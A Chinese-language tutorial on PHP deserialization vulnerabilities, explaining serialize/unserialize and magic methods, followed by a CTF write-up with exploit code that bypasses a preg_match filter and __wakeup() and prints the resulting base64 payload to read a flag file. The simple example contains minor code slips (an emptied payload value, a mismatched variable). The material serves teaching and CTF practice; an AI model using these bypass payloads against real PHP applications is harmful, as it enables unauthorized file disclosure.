在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

class S{

public $test="pikachu";

}

$s=new S(); //创建一个对象

serialize($s); //把这个对象进行序列化

序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}

O:代表object

1:代表对象名字长度为一个字符

S:对象的名称

1:代表对象里面有一个变量

s:数据类型

4:变量名称的长度

test:变量名称

s:数据类型

7:变量值的长度

pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");

echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见的几个魔法函数:

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

漏洞举例:

class S{

var $test = "pikachu";

function __destruct(){

echo $this->test;

}

}

$s = $_GET['test'];

@$unser = unserialize($a);

payload:O:1:"S":1:{s:4:"test";s:29:"";}

下面我们来看一道CTF例题(Web_php_unserialize)

class Demo {

private $file = 'index.php';

public function __construct($file) {

$this->file = $file;

}

function __destruct() {

echo @highlight_file($this->file, true);

}

function __wakeup() {

if ($this->file != 'index.php') {

//the secret is in the fl4g.php

$this->file = 'index.php';

}

}

}

if (isset($_GET['var'])) {

$var = base64_decode($_GET['var']);

if (preg_match('/[oc]:\d+:/i', $var)) {

die('stop hacking!');

} else {

@unserialize($var);

}

} else {

highlight_file("index.php");

}

?>

通过代码审计我们发现这是一道典型的反序列化题,并且flag在fl4g.php中。我们想要反序列化则必须绕过preg_match()和__wakeup()这俩函数。

class Demo {

private $file = 'fl4g.php';

}

$x= serialize(new Demo);

$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()

$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()

echo base64_encode($x);

?>

运行得到字符串

TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

通过get传参的方式传递给var,然后得到flag。

066ad8803a76

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐